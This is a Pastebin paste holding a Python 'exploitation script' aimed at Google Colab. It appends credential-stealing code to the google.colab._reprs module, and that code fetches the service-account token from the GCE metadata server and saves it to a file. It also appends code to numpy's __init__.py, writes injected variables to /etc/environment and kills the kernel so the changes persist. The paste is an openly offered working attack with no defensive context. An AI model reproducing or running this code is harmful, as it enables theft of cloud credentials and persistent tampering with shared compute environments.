xosski

Google colab

Dec 4th, 2024
7
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.44 KB | None | 0 0
  1. import os
  2. import time
  3. import subprocess
  4. import requests
  5.  
  6. # 1. Locate Colab Module Paths Dynamically
  7. def locate_module(module_name):
  8. try:
  9. import importlib.util
  10. spec = importlib.util.find_spec(module_name)
  11. if spec and spec.origin:
  12. print(f"[+] Found module '{module_name}' at {spec.origin}")
  13. return spec.origin
  14. else:
  15. print(f"[-] Module '{module_name}' not found.")
  16. return None
  17. except Exception as e:
  18. print(f"[-] Error locating module '{module_name}': {e}")
  19. return None
  20.  
  21.  
  22. # 2. Inject Persistent Malicious Code
  23. def inject_persistent_code(module_path):
  24. try:
  25. malicious_code = """
  26. import os
  27. import requests
  28. # Fetch metadata tokens
  29. def steal_metadata():
  30. headers = {"Metadata-Flavor": "Google"}
  31. try:
  32. response = requests.get("http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", headers=headers)
  33. with open('/tmp/stolen_token.txt', 'w') as f:
  34. f.write(response.text)
  35. except Exception as e:
  36. print(f"[-] Failed to steal metadata: {e}")
  37. steal_metadata()
  38. """
  39. with open(module_path, "a") as f:
  40. f.write(malicious_code)
  41. print(f"[+] Injected persistent malicious code into {module_path}")
  42. except Exception as e:
  43. print(f"[-] Failed to inject persistent code: {e}")
  44.  
  45.  
  46. # 3. Modify Shared Library
  47. def modify_shared_library():
  48. target_library = "/usr/local/lib/python3.10/site-packages/numpy/__init__.py"
  49. try:
  50. malicious_code = "\nprint('Malicious Code Executed')\n"
  51. with open(target_library, "a") as f:
  52. f.write(malicious_code)
  53. print(f"[+] Modified shared library {target_library}")
  54. except Exception as e:
  55. print(f"[-] Failed to modify shared library: {e}")
  56.  
  57.  
  58. # 4. Modify Environment Variables
  59. def modify_environment_variables():
  60. try:
  61. with open("/etc/environment", "a") as f:
  62. f.write("ENABLE_DIRECTORYPREFETCHER=0\n")
  63. f.write("USE_AUTH_EPHEM=0\n")
  64. f.write("INJECTED_VAR=HackedValue\n")
  65. print("[+] Environment variables modified in /etc/environment")
  66. except Exception as e:
  67. print(f"[-] Failed to modify environment variables: {e}")
  68.  
  69.  
  70. # 5. Restart the Kernel
  71. def restart_kernel():
  72. try:
  73. print("[+] Restarting kernel...")
  74. subprocess.call(["pkill", "-f", "colab_kernel_"])
  75. print("[+] Kernel restart triggered")
  76. except Exception as e:
  77. print(f"[-] Failed to restart kernel: {e}")
  78.  
  79.  
  80. # 6. Verify Injection
  81. def verify_injection(module_path):
  82. try:
  83. with open(module_path, "r") as f:
  84. content = f.read()
  85. print(f"[+] Current content of {module_path} (last 500 chars):")
  86. print(content[-500:])
  87. except Exception as e:
  88. print(f"[-] Verification failed: {e}")
  89.  
  90.  
  91. # Execute Exploitation
  92. if __name__ == "__main__":
  93. print("[*] Starting exploitation script...")
  94.  
  95. # Locate target modules
  96. reprs_path = locate_module("google.colab._reprs")
  97.  
  98. # Perform injections
  99. if reprs_path:
  100. inject_persistent_code(reprs_path)
  101. modify_shared_library()
  102.  
  103. # Modify environment variables
  104. modify_environment_variables()
  105.  
  106. # Restart kernel
  107. restart_kernel()
  108.  
  109. # Verify injections
  110. if reprs_path:
  111. verify_injection(reprs_path)
  112.  
  113. print("[*] Exploitation script completed.")
Add Comment
Please, Sign In to add comment